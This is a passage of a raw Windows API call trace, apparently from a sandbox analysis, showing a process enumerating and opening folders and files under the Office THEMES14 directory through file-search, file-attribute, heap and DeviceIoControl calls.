ftLastWriteTime.dwLowDateTime=0xf641f700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x116dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.ELM", cAlternateFileName="")) returned 1 [0058.129] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.129] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.129] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.129] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.129] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.129] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f48f0 [0058.129] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0058.129] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f29b0 [0058.129] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f7b10 [0058.129] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.INF", cAlternateFileName="")) returned 1 [0058.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.130] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.130] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f29d0 [0058.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f8470 [0058.130] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.130] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf75, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0058.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.130] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.130] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f29f0 [0058.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f8578 [0058.130] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.130] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0058.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.130] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.130] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2a10 [0058.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f8680 [0058.130] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.131] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0058.131] GetLastError () returned 0x12 [0058.131] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0058.131] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0058.131] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.131] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf641f700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf641f700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x116dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.ELM", cAlternateFileName="")) returned 1 [0058.131] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.INF", cAlternateFileName="")) returned 1 [0058.131] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf75, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0058.131] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0058.131] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0058.131] GetLastError () returned 0x12 [0058.131] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f47e8) returned 1 [0058.131] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0058.131] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f48f0) returned 1 [0058.131] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0058.131] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO", cAlternateFileName="")) returned 1 [0058.131] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.131] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0058.153] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0058.153] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0058.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9fa458 [0058.154] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9fa458, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9fa458, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0058.154] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fa458) returned 1 [0058.154] NtClose (Handle=0x160) returned 0x0 [0058.154] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0058.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0058.154] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0058.154] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.154] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a45100, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8a45100, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb0ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.ELM", cAlternateFileName="")) returned 1 [0058.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0058.154] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0058.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0058.154] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0058.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0058.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0058.154] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0058.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2a30 [0058.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f48f0 [0058.154] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0058.154] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.INF", cAlternateFileName="")) returned 1 [0058.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0058.155] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0058.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0058.155] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0058.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0058.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2a50 [0058.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f47e8 [0058.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x780) returned 0x9fa458 [0058.155] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f7d10) returned 1 [0058.155] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0058.155] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0058.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0058.155] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0058.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0058.155] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0058.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0058.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2a70 [0058.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f8788 [0058.155] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0058.155] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0058.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0058.155] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0058.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0058.155] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0058.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0058.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2a90 [0058.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f8890 [0058.155] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0058.155] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0058.156] GetLastError () returned 0x12 [0058.156] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0058.156] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0058.156] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.156] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a45100, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8a45100, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb0ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.ELM", cAlternateFileName="")) returned 1 [0058.156] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.INF", cAlternateFileName="")) returned 1 [0058.156] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0058.156] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0058.156] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0058.156] GetLastError () returned 0x12 [0058.156] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0058.156] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0058.156] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0058.156] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.156] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE", cAlternateFileName="")) returned 1 [0058.156] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.156] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0058.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0058.179] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0058.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9fabe0 [0058.179] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9fabe0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9fabe0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0058.179] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fabe0) returned 1 [0058.179] NtClose (Handle=0x16c) returned 0x0 [0058.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.180] RtlAllocateHeap (HeapHandle=0x940000, 